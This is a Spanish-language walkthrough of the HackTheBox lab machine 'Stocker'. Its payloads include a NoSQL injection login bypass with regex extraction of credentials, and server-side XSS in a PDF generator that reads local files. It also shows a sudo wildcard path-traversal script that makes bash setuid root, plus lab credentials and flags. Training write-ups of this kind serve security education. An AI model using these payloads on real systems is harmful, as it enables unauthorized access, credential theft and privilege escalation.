Stocker
8 minutos de lectura
sudo
en una ruta que tiene un wildcard. Para escalar privilegios hay que abusar de este wildcard- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.196
- Fecha: 14 / 01 / 2023
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.196 -p 22,80
Nmap scan report for 10.10.11.196
Host is up (0.075s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3d12971d86bc161683608f4f06e6d54e (RSA)
| 256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_ 256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-title: Stockers Sign-in
|_Requested resource was /login
|_http-generator: Hugo 0.84.0
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 9.49 seconds
La máquina tiene abietos los puertos 22 (SSH) y 80 (HTTP).
Enumeration
Si vamos a http://10.10.11.196
, se nos redirige a http://stocker.htb
. Después de poner el dominio en /etc/hosts
, vemos esta página:
Parece ser un sitio web estático. Enumeremos más rutas usando ffuf
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://stocker.htb/FUZZ
img [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 88ms]
css [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 49ms]
js [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 49ms]
fonts [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 67ms]
[Status: 200, Size: 15463, Words: 4199, Lines: 322, Duration: 50ms]
Nada parece ser útil. Al final de la página, tenemos un nombre de usuario (Angoose Garden):
Veamos si hay más subdominios:
$ ffuf -w $WORDLISTS/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -u http://10.10.11.196 -H 'Host: FUZZ.stocker.htb' -fs 169
dev [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 128ms]
Genial, ahora podemos añador dev.stocker.htb
en /etc/hosts
y acceder a la siguiente página web:
Nuevamente, vamos a aplicar fuzzing para enumerar más rutas:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://dev.stocker.htb/FUZZ
login [Status: 200, Size: 2667, Words: 492, Lines: 76, Duration: 249ms]
static [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 124ms]
Login [Status: 200, Size: 2667, Words: 492, Lines: 76, Duration: 166ms]
logout [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 113ms]
stock [Status: 302, Size: 48, Words: 4, Lines: 1, Duration: 83ms]
Logout [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 159ms]
Static [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 132ms]
[Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 90ms]
LogIn [Status: 200, Size: 2667, Words: 492, Lines: 76, Duration: 126ms]
LOGIN [Status: 200, Size: 2667, Words: 492, Lines: 76, Duration: 75ms]
No hay mucho más que ver. Por otro lado, podemos analizar las cabeceras de respuesta HTTP y descubrir que dev.stocker.htb
usa Express JS (Node.js):
$ curl -I stocker.htb
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date:
Content-Type: text/html
Content-Length: 15463
Last-Modified: Wed, 21 Dec 2022 18:31:13 GMT
Connection: keep-alive
ETag: "63a350f1-3c67"
Accept-Ranges: bytes
$ curl -I dev.stocker.htb
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date:
Content-Type: text/plain; charset=utf-8
Content-Length: 28
Connection: keep-alive
X-Powered-By: Express
Location: /login
Vary: Accept
Set-Cookie: connect.sid=s%3AK2nNo-lKYxsV_Wwi8C2jJUGNReotOxyZ.dJsRk%2FOd%2FkCJ0AxOJtDYj1eeWT45f1MzLkdFagh%2FpcE; Path=/; HttpOnly
Además, tenemos una cookie extraña llamada connect.sid
.
Encontrando una inyección NoSQL
Dado que no hay nada más para enumerar, todo lo que tenemos es el formulario de inicio de sesión. Podemos probar algunos payloads de inyección de código SQL, pero ninguno de ellos funciona (no hay errores ni evidencias):
$ curl dev.stocker.htb/login -d "username='&password=asdf"
Found. Redirecting to /login?error=login-error
$ curl dev.stocker.htb/login -d "username='+or+1=1--+-&password=asdf"
Found. Redirecting to /login?error=login-error
$ curl dev.stocker.htb/login -d "username='+or+sleep(10)--+-&password=asdf"
Found. Redirecting to /login?error=login-error
$ curl dev.stocker.htb/login -d $'{"username":"\'","password":"asdf"}' -H 'Content-Type: application/json'
Found. Redirecting to /login?error=login-error
$ curl dev.stocker.htb/login -d $'{"username":"\' or 1=1-- -","password":"asdf"}' -H 'Content-Type: application/json'
Found. Redirecting to /login?error=login-error
$ curl dev.stocker.htb/login -d $'{"username":"\' or sleep(10)-- -","password":"asdf"}' -H 'Content-Type: application/json'
Found. Redirecting to /login?error=login-error
En este punto, podemos deducir que el servidor usa MongoDB (porque es muy apropiado para los proyectos de Node.js), que es un administrador de bases de datos NoSQL. Por lo tanto, probemos algunos payloads de PayloadsAllTheThings:
$ curl dev.stocker.htb/login -d 'username[$ne]=toto&password[$ne]=toto'
Found. Redirecting to /login?error=login-error
$ curl dev.stocker.htb/login -d $'{"username":{"$ne":"foo"},"password":{"$ne":"bar"}}' -H 'Content-Type: application/json'
Found. Redirecting to /stock
¡Ahí lo tenemos! Usando el payload en JSON, podemos saltarnos la autenticación. Para ver /stock
en el navegador, podemos coger la cookie connect.sid
de la respuesta y ponerla en el navegador:
$ curl dev.stocker.htb/login -id $'{"username":{"$ne":"toto"},"password":{"$ne":"toto"}}' -H 'Content-Type: application/json'
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 18 Jan 2023 23:11:22 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 28
Connection: keep-alive
X-Powered-By: Express
Location: /stock
Vary: Accept
Set-Cookie: connect.sid=s%3AyepLh_Cn7RnHLC9QRnQPqJpON0CWbThV.Nkdi0tXEKTMMrDv2pxEaSSl7tGfTzwDOeLQ58rCo9%2FU; Path=/; HttpOnly
Found. Redirecting to /stock
Parece una aplicación web para comprar cosas raras. Podemos pinchar en algunos artículos y se agregarán al carrito.
Extrayendo valores mediante NoSQLi
Antes de analizar la nueva página web, vamos a extraer valores de la base de datos utilizando RegEx. La idea es poner algo como:
{
"username": {
"$regex": "^x.*"
},
"password": {
"$ne": "bar"
}
}
Y pruebar diferentes caracteres donde está la x
. Cuando somos redirigidos a /stock
, sabremos que el carácter es correcto y avanzamos al siguiente. Aquí hay un ejemplo:
$ curl dev.stocker.htb/login -d '{"username":{"$regex":"^a.*"},"password":{"$ne":"bar"}}' -H 'Content-Type: application/json'
Found. Redirecting to /stock
$ curl dev.stocker.htb/login -d '{"username":{"$regex":"^b.*"},"password":{"$ne":"bar"}}' -H 'Content-Type: application/json'
Found. Redirecting to /login?error=login-error
$ curl dev.stocker.htb/login -d '{"username":{"$regex":"^c.*"},"password":{"$ne":"bar"}}' -H 'Content-Type: application/json'
Found. Redirecting to /login?error=login-error
Arriba podemos ver que el campo username
comienza con a
. En este punto, podemos escribir un script en Python para probar todos los caracteres posibles de los campos username
y password
. El script se llama nosqli_regex.py
(explicación detallada aquí):
$ python3 nosqli_regex.py
[+] Username: angoose
[+] Password: b3e795719e2a644f69838a593dd159ac
Entonces, angoose
es un usuario válido, y tenemos el hash de su contraseña. Desafortunadamente, no es una contraseña débil y no se puede romper el hash:
Por lo tanto, debemos continuar enumerando la nueva página web.
Funcionalidad de exportar a PDF
Si seleccionamos algunos artículos, se agregarán al carrito:
Luego, podemos finalizar la compra y la página mostrará un enlace para generar un recibo en formato PDF:
Si ejecutamos exiftool
en este documento, veremos que se genera usando Chromium (Skia/PDF m108):
$ curl -s dev.stocker.htb/api/po/63c87d31d6a42c59f2d7659a | exiftool -
ExifTool Version Number : 12.50
File Size : 0 bytes
File Modification Date/Time : 2023:01:14 00:00:00+01:00
File Access Date/Time : 2023:01:14 00:00:00+01:00
File Inode Change Date/Time : 2023:01:14 00:00:00+01:00
File Permissions : prw-rw----
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Tagged PDF : Yes
Creator : Chromium
Producer : Skia/PDF m108
Create Date : 2023:01:13 23:00:00+00:00
Modify Date : 2023:01:13 23:00:00+00:00
Esto significa que el servidor usó un navegador Chromium y exportó una página web HTML a formato PDF, por lo que tal vez podamos inyectar etiquetas HTML…
Acceso a la máquina
Usando Burp Suite, capturamos la petición HTTP para modificar algunos datos:
Por ejemplo, ponemos <u>Cup</u>
en el nombre del artículo:
El documento PDF generado muestra Cup
subrayado, por lo que se han interpretado las etiquetas HTML:
En este punto, podemos realizar un ataque de Cross-Site Scripting (XSS), más específicamente, un ataque XSS del lado servidor (más información en HackTricks).
Intentemos con una etiqueta simple img
para ver si JavaScript se ejecuta:
Y sí, se ejecuta:
Hay más payloads que funcionan, por ejemplo, una etiqueta object
:
Como se puede ver, logramos un leer archivo local ya que podemos imprimir el contenido de /etc/passwd
dentro del documento PDF.
Podemos usar el payload de img
para escribir un iframe
usando JavaScript y, por lo tanto, sobrescribir todo el DOM para que solo veamos el archivo deseado:
Ahora, podemos cambiar a la pestaña Repeater y realizar más peticiones si es necesario. Podemos aumentar el tamaño de la ventana iframe
con las propiedades height
y width
:
Algunos archivos relevantes para leer ahora son archivos JavaScript del servidor (ya sabemos que usa Node.js). Para conocer la ruta completa, podemos causar un error en la lectura del formato JSON:
$ curl dev.stocker.htb/login -d '{' -H 'Content-Type: application/json'
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected end of JSON input<br> at JSON.parse (<anonymous>)<br> at parse (/var/www/dev/node_modules/body-parser/lib/types/json.js:89:19)<br> at /var/www/dev/node_modules/body-parser/lib/read.js:128:18<br> at AsyncResource.runInAsyncScope (node:async_hooks:203:9)<br> at invokeCallback (/var/www/dev/node_modules/raw-body/index.js:231:16)<br> at done (/var/www/dev/node_modules/raw-body/index.js:220:7)<br> at IncomingMessage.onEnd (/var/www/dev/node_modules/raw-body/index.js:280:7)<br> at IncomingMessage.emit (node:events:513:28)<br> at endReadableNT (node:internal/streams/readable:1359:12)<br> at process.processTicksAndRejections (node:internal/process/task_queues:82:21)</pre>
</body>
</html>
Ahora sabemos que /var/www/dev/
es el directorio raíz del servidor web, Entonces podemos adivinar que el archivo principal es uno de: main.js
, app.js
, script.js
, server.js
, index.js
… Esta vez, /var/www/dev/index.js
es el correcto:
En el código fuente, podemos encontrar credenciales para MongoDB: dev: IHeardPassphrasesArePrettySecure
. Y la contraseña es reutilizada por angoose
en SSH, por lo que tenemos acceso a la máquina:
$ ssh angoose@10.10.11.196
angoose@10.10.11.196's password:
angoose@stocker:~$ cat user.txt
1fca8c004c27820b10ed7c3976cfa245
Enumeración del sistema
Este usuario puede ejecutar cualquier script de Node.js que coincida con esta ruta: /usr/local/scripts/*.js
.
angoose@stocker:~$ sudo -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
Sin embargo, los scripts que están dentro no son legibles:
angoose@stocker:~$ ls -l /usr/local/scripts
total 24
-rwxr-x--x 1 root root 245 Dec 6 09:53 creds.js
-rwxr-x--x 1 root root 1625 Dec 6 09:53 findAllOrders.js
-rwxr-x--x 1 root root 793 Dec 6 09:53 findUnshippedOrders.js
drwxr-xr-x 2 root root 4096 Dec 6 10:33 node_modules
-rwxr-x--x 1 root root 1337 Dec 6 09:53 profitThisMonth.js
-rwxr-x--x 1 root root 623 Dec 6 09:53 schema.js
Escalada de privilegios
La clave aquí es el uso de un wildcard para especificar la ruta del script que se ejecutará. De hecho, simplemente podemos ascender directorios y ejecutar un script que esté en cualquier otro directorio, algo así:
angoose@stocker:~$ de /tmp
angoose@stocker:/tmp$ cat > .privesc.js
console.log('asdf')
const { execSync } = require('child_process')
execSync('chmod 4755 /bin/bash')
^C
angoose@stocker:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
angoose@stocker:/tmp$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/.privesc.js
asdf
angoose@stocker:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
Con el script anterior, hemos ejecutado chmod 4755 /bin/bash
como root
usando sudo
(abusando del wildcard), por lo que ahora podemos conseguir una shell como root
:
angoose@stocker:/tmp$ bash -p
bash-5.0# cat /root/root.txt
0bad2234ec6622cb146e3bf873af4e81